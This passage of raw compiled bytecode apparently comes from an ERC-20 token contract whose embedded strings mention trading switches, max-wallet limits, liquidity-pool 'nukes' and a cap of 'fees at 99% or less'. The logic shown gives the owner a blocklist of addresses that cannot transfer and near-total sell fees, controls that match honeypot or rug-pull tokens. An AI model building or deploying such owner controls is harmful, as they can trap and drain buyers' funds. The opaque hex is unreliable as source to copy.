1019060200180831161108a57829003601f168201915b5050505050905090565b60006110c56110be6126f7565b84846126ff565b6001905092915050565b60236020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6111256128c8565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5481565b600f5481565b601e5481565b601d5481565b6112056128c8565b670de0b6b3a76400006103e8600161121b611113565b6112259190614518565b61122f9190614589565b6112399190614589565b81101561127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061462c565b60405180910390fd5b670de0b6b3a76400008161128f9190614518565b60098190555050565b60006112a5848484612946565b611366846112b16126f7565b6113618560405180606001604052806028815260200161554660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113176126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461346a9092919063ffffffff16565b6126ff565b600190509392505050565b6113796128c8565b60005b838390508110156114485783838281811061139a5761139961464c565b5b90506020020160208101906113af9190614033565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161142d91906140e9565b60405180910390a380806114409061467b565b91505061137c565b50505050565b61dead81565b60115481565b601060009054906101000a900460ff1681565b60006012905090565b601360009054906101000a900460ff1681565b60006115326114966126f7565b8461152d85600160006114a76126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269990919063ffffffff16565b6126ff565b6001905092915050565b6115446128c8565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461159f57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60195481565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116c86128c8565b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6117916128c8565b6102588310156117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90614735565b60405180910390fd5b6103e882111580156117e9575060008210155b611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f906147c7565b60405180910390fd5b8260118190555081600f8190555080601060006101000a81548160ff021916908315150217905550505050565b61185d6128c8565b60005b838390508110156118fc5781601460008686858181106118835761188261464c565b5b90506020020160208101906118989190614033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806118f49061467b565b915050611860565b50505050565b600061190c6128c8565b6000601360006101000a81548160ff0219169083151502179055506001905090565b6119366128c8565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6119c56128c8565b8260168190555081601781905550806018819055506018546017546016546119ed91906147e7565b6119f791906147e7565b60158190555060196015541115611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a90614867565b60405180910390fd5b505050565b611a506128c8565b6001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff02191690831515021790555042601281905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a5481565b611aed6128c8565b80601360026101000a81548160ff02191690831515021790555050565b606060048054611b19906144b8565b80601f0160208091040260200160405190810160405280929190818152602001828054611b45906144b8565b8015611b925780601f10611b6757610100808354040283529160200191611b92565b820191906000526020600020905b815481529060010190602001808311611b7557829003601f168201915b5050505050905090565b60185481565b600e5481565b601f5481565b601c5481565b611bbc6128c8565b611bc68282611db6565b5050565b6000611c8d611bd76126f7565b84611c888560405180606001604052806025815260200161556e6025913960016000611c016126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461346a9092919063ffffffff16565b6126ff565b6001905092915050565b60125481565b6000611cb1611caa6126f7565b8484612946565b6001905092915050565b611cc36128c8565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60246020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611dbe6128c8565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601360019054906101000a900460ff1681565b611eb56128c8565b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f529190614018565b60405180910390a25050565b611f666128c8565b82601a8190555081601b8190555080601c81905550601c54601b54601a54611f8e91906147e7565b611f9891906147e7565b60198190555060636019541115611fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdb906148d3565b60405180910390fd5b505050565b611ff16128c8565b670de0b6b3a76400006103e86005612007611113565b6120119190614518565b61201b9190614589565b6120259190614589565b811015612067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205e90614965565b60405180910390fd5b670de0b6b3a76400008161207b9190614518565b60088190555050565b602160009054906101000a900460ff1681565b60095481565b60146020528060005260406000206000915054906101000a900460ff1681565b60006120c76128c8565b620186a060016120d5611113565b6120df9190614518565b6120e99190614589565b82101561212b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612122906149f7565b60405180910390fd5b6103e8600a612138611113565b6121429190614518565b61214c9190614589565b82111561218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218590614a89565b60405180910390fd5b81600a8190555060019050919050565b60155481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b60006122916128c8565b6000602160006101000a81548160ff0219169083151502179055506001905090565b60175481565b6122c16128c8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232790614b1b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601b5481565b60085481565b60006124066128c8565b600d54600e5461241691906147e7565b4211612457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244e90614b87565b60405180910390fd5b6103e882111561249c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249390614c19565b60405180910390fd5b42600e8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125009190614258565b602060405180830381865afa15801561251d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125419190614c4e565b9050600061256c61271061255e86856134ce90919063ffffffff16565b61354890919063ffffffff16565b905060008111156125a7576125a6600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613592565b5b600060246000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561267557600080fd5b505af1158015612689573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126a891906147e7565b9050838110156126ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e490614cc7565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590614d59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d490614deb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128bb91906140e9565b60405180910390a3505050565b6128d06126f7565b73ffffffffffffffffffffffffffffffffffffffff166128ee613825565b73ffffffffffffffffffffffffffffffffffffffff1614612944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293b90614e57565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ac90614ee9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1b90614f7b565b60405180910390fd5b60008103612a3d57612a3883836000613592565b613465565b601360009054906101000a900460ff161561305457612a5a611a8f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ac85750612a98611a8f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b015750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b3b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b545750600760149054906101000a900460ff16155b1561305357601360019054906101000a900460ff16612c4e57602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c0e5750602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4490614fe7565b60405180910390fd5b5b602160009054906101000a900460ff1615612e1857612c6b611a8f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612cf257507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d4c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e175743602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc99061509f565b60405180910390fd5b43602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f0b57600954811115612eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea590615131565b60405180910390fd5b600854612eba83611678565b82612ec591906147e7565b1115612f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612efd9061519d565b60405180910390fd5b613052565b602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fa657600954811115612fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f989061522f565b60405180910390fd5b613051565b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130505760085461300383611678565b8261300e91906147e7565b111561304f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130469061519d565b60405180910390fd5b5b5b5b5b5b600061305f30611678565b90506000600a5482101590508080156130845750601360029054906101000a900460ff165b801561309d5750600760149054906101000a900460ff16155b80156130f35750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131495750602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561318d576001600760146101000a81548160ff021916908315150217905550613171613839565b6000600760146101000a81548160ff0219169083151502179055505b600760149054906101000a900460ff161580156131b65750601060009054906101000a900460ff165b156131c6576131c4856139c1565b505b6000600760149054906101000a900460ff16159050602260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061327c5750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561328657600090505b600081156134555760006019541115613361576132c160646132b3601954886134ce90919063ffffffff16565b61354890919063ffffffff16565b9050601954601b54826132d49190614518565b6132de9190614589565b601e60008282546132ef91906147e7565b92505081905550601954601c54826133079190614518565b6133119190614589565b601f600082825461332291906147e7565b92505081905550601954601a548261333a9190614518565b6133449190614589565b601d600082825461335591906147e7565b92505081905550613431565b60006015541115613430576133946064613386601554886134ce90919063ffffffff16565b61354890919063ffffffff16565b9050601554601754826133a79190614518565b6133b19190614589565b601e60008282546133c291906147e7565b92505081905550601554601854826133da9190614518565b6133e49190614589565b601f60008282546133f591906147e7565b925050819055506015546016548261340d9190614518565b6134179190614589565b601d600082825461342891906147e7565b925050819055505b5b600081111561344657613445873083613592565b5b8085613452919061524f565b94505b613460878787613592565b505050505b505050565b60008383111582906134b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a99190613efd565b60405180910390fd5b50600083856134c1919061524f565b9050809150509392505050565b60008083036134e05760009050613542565b600082846134ee9190614518565b90508284826134fd9190614589565b1461353d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613534906152f5565b60405180910390fd5b809150505b92915050565b600061358a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a7f565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135f890614ee9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366790614f7b565b60405180910390fd5b61367b838383613ae2565b6136e681604051806060016040528060268152602001615520602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461346a9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613779816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161381891906140e9565b60405180910390a3505050565b600080613830613ae7565b90508091505090565b600061384430611678565b90506000601f54601d54601e5461385b91906147e7565b61386591906147e7565b90506000808314806138775750600082145b15613884575050506139bf565b6014600a546138939190614518565b8311156138ac576014600a546138a99190614518565b92505b6000600283601e54866138bf9190614518565b6138c99190614589565b6138d39190614589565b905060006138ea8286613b8f90919063ffffffff16565b905060004790506138fa82613bd9565b600061390f8247613b8f90919063ffffffff16565b90506000601e819055506000601d819055506000601f81905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161396f90615346565b60006040518083038185875af1925050503d80600081146139ac576040519150601f19603f3d011682016040523d82523d6000602084013e6139b1565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016139fd9190614258565b602060405180830381865afa158015613a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a3e9190614c4e565b90506000613a57600f548361269990919063ffffffff16565b9050613a6284613e16565b613a745760008114613a7357600080fd5b5b600192505050919050565b60008083118290613ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613abd9190613efd565b60405180910390fd5b5060008385613ad59190614589565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613b6657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613b8a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613bd183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061346a565b905092915050565b6000600267ffffffffffffffff811115613bf657613bf561535b565b5b604051908082528060200260200182016040528015613c245781602001602082028036833780820191505090505b5090503081600081518110613c3c57613c3b61464c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613ce1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d05919061539f565b81600181518110613d1957613d1861464c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613d7e307f0000000000000000000000000000000000000000000000000000000000000000846126ff565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613de09594939291906154c5565b600060405180830381600087803b158015613dfa57600080fd5b505af1158015613e0e573d6000803e3d6000fd5b505050505050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613ea7578082015181840152602081019050613e8c565b60008484015250505050565b6000601f19601f8301169050919050565b6000613ecf82613e6d565b613ed98185613e78565b9350613ee9818560208601613e89565b613ef281613eb3565b840191505092915050565b60006020820190508181036000830152613f178184613ec4565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613f5482613f29565b9050919050565b613f6481613f49565b8114613f6f57600080fd5b50565b600081359050613f8181613f5b565b92915050565b6000819050919050565b613f9a81613f87565b8114613fa557600080fd5b50565b600081359050613fb781613f91565b92915050565b60008060408385031215613fd457613fd3613f1f565b5b6000613fe285828601613f72565b9250506020613ff385828601613fa8565b9150509250929050565b60008115159050919050565b61401281613ffd565b82525050565b600060208201905061402d6000830184614009565b92915050565b60006020828403121561404957614048613f1f565b5b600061405784828501613f72565b91505092915050565b6000819050919050565b600061408561408061407b84613f29565b614060565b613f29565b9050919050565b60006140978261406a565b9050919050565b60006140a98261408c565b9050919050565b6140b98161409e565b82525050565b60006020820190506140d460008301846140b0565b92915050565b6140e381613f87565b82525050565b60006020820190506140fe60008301846140da565b92915050565b60006020828403121561411a57614119613f1f565b5b600061412884828501613fa8565b91505092915050565b60008060006060848603121561414a57614149613f1f565b5b600061415886828701613f72565b935050602061416986828701613f72565b925050604061417a86828701613fa8565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126141a9576141a8614184565b5b8235905067ffffffffffffffff8111156141c6576141c5614189565b5b6020830191508360208202830111156141e2576141e161418e565b5b9250929050565b60008060006040848603121561420257614201613f1f565b5b600084013567ffffffffffffffff8111156142205761421f613f24565b5b61422c86828701614193565b9350935050602061423f86828701613fa8565b9150509250925092565b61425281613f49565b82525050565b600060208201905061426d6000830184614249565b92915050565b600060ff82169050919050565b61428981614273565b82525050565b60006020820190506142a46000830184614280565b92915050565b6142b381613ffd565b81146142be57600080fd5b50565b6000813590506142d0816142aa565b92915050565b6000806000606084860312156142ef576142ee613f1f565b5b60006142fd86828701613fa8565b935050602061430e86828701613fa8565b925050604061431f868287016142c1565b9150509250925092565b60008060006040848603121561434257614341613f1f565b5b600084013567ffffffffffffffff8111156143605761435f613f24565b5b61436c86828701614193565b9350935050602061437f868287016142c1565b9150509250925092565b600080604083850312156143a05761439f613f1f565b5b60006143ae85828601613f72565b92505060206143bf858286016142c1565b9150509250929050565b6000806000606084860312156143e2576143e1613f1f565b5b60006143f086828701613fa8565b935050602061440186828701613fa8565b925050604061441286828701613fa8565b9150509250925092565b60006020828403121561443257614431613f1f565b5b6000614440848285016142c1565b91505092915050565b600080604083850312156144605761445f613f1f565b5b600061446e85828601613f72565b925050602061447f85828601613f72565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806144d057607f821691505b6020821081036144e3576144e2614489565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061452382613f87565b915061452e83613f87565b925082820261453c81613f87565b91508282048414831517614553576145526144e9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061459482613f87565b915061459f83613f87565b9250826145af576145ae61455a565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614616602f83613e78565b9150614621826145ba565b604082019050919050565b6000602082019050818103600083015261464581614609565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061468682613f87565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036146b8576146b76144e9565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061471f603383613e78565b915061472a826146c3565b604082019050919050565b6000602082019050818103600083015261474e81614712565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b60006147b1603083613e78565b91506147bc82614755565b604082019050919050565b600060208201905081810360008301526147e0816147a4565b9050919050565b60006147f282613f87565b91506147fd83613f87565b9250828201905080821115614815576148146144e9565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614851601d83613e78565b915061485c8261481b565b602082019050919050565b6000602082019050818103600083015261488081614844565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b60006148bd601d83613e78565b91506148c882614887565b602082019050919050565b600060208201905081810360008301526148ec816148b0565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061494f602483613e78565b915061495a826148f3565b604082019050919050565b6000602082019050818103600083015261497e81614942565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006149e1603583613e78565b91506149ec82614985565b604082019050919050565b60006020820190508181036000830152614a10816149d4565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614a73603283613e78565b9150614a7e82614a17565b604082019050919050565b60006020820190508181036000830152614aa281614a66565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614b05602683613e78565b9150614b1082614aa9565b604082019050919050565b60006020820190508181036000830152614b3481614af8565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614b71602083613e78565b9150614b7c82614b3b565b602082019050919050565b60006020820190508181036000830152614ba081614b64565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614c03602a83613e78565b9150614c0e82614ba7565b604082019050919050565b60006020820190508181036000830152614c3281614bf6565b9050919050565b600081519050614c4881613f91565b92915050565b600060208284031215614c6457614c63613f1f565b5b6000614c7284828501614c39565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614cb1601b83613e78565b9150614cbc82614c7b565b602082019050919050565b60006020820190508181036000830152614ce081614ca4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614d43602483613e78565b9150614d4e82614ce7565b604082019050919050565b60006020820190508181036000830152614d7281614d36565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614dd5602283613e78565b9150614de082614d79565b604082019050919050565b60006020820190508181036000830152614e0481614dc8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614e41602083613e78565b9150614e4c82614e0b565b602082019050919050565b60006020820190508181036000830152614e7081614e34565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614ed3602583613e78565b9150614ede82614e77565b604082019050919050565b60006020820190508181036000830152614f0281614ec6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614f65602383613e78565b9150614f7082614f09565b604082019050919050565b60006020820190508181036000830152614f9481614f58565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614fd1601683613e78565b9150614fdc82614f9b565b602082019050919050565b6000602082019050818103600083015261500081614fc4565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615089604983613e78565b915061509482615007565b606082019050919050565b600060208201905081810360008301526150b88161507c565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061511b603583613e78565b9150615126826150bf565b604082019050919050565b6000602082019050818103600083015261514a8161510e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615187601383613e78565b915061519282615151565b602082019050919050565b600060208201905081810360008301526151b68161517a565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615219603683613e78565b9150615224826151bd565b604082019050919050565b600060208201905081810360008301526152488161520c565b9050919050565b600061525a82613f87565b915061526583613f87565b925082820390508181111561527d5761527c6144e9565b5b92915050565b7f536166654d6174683a206d756c7469706c696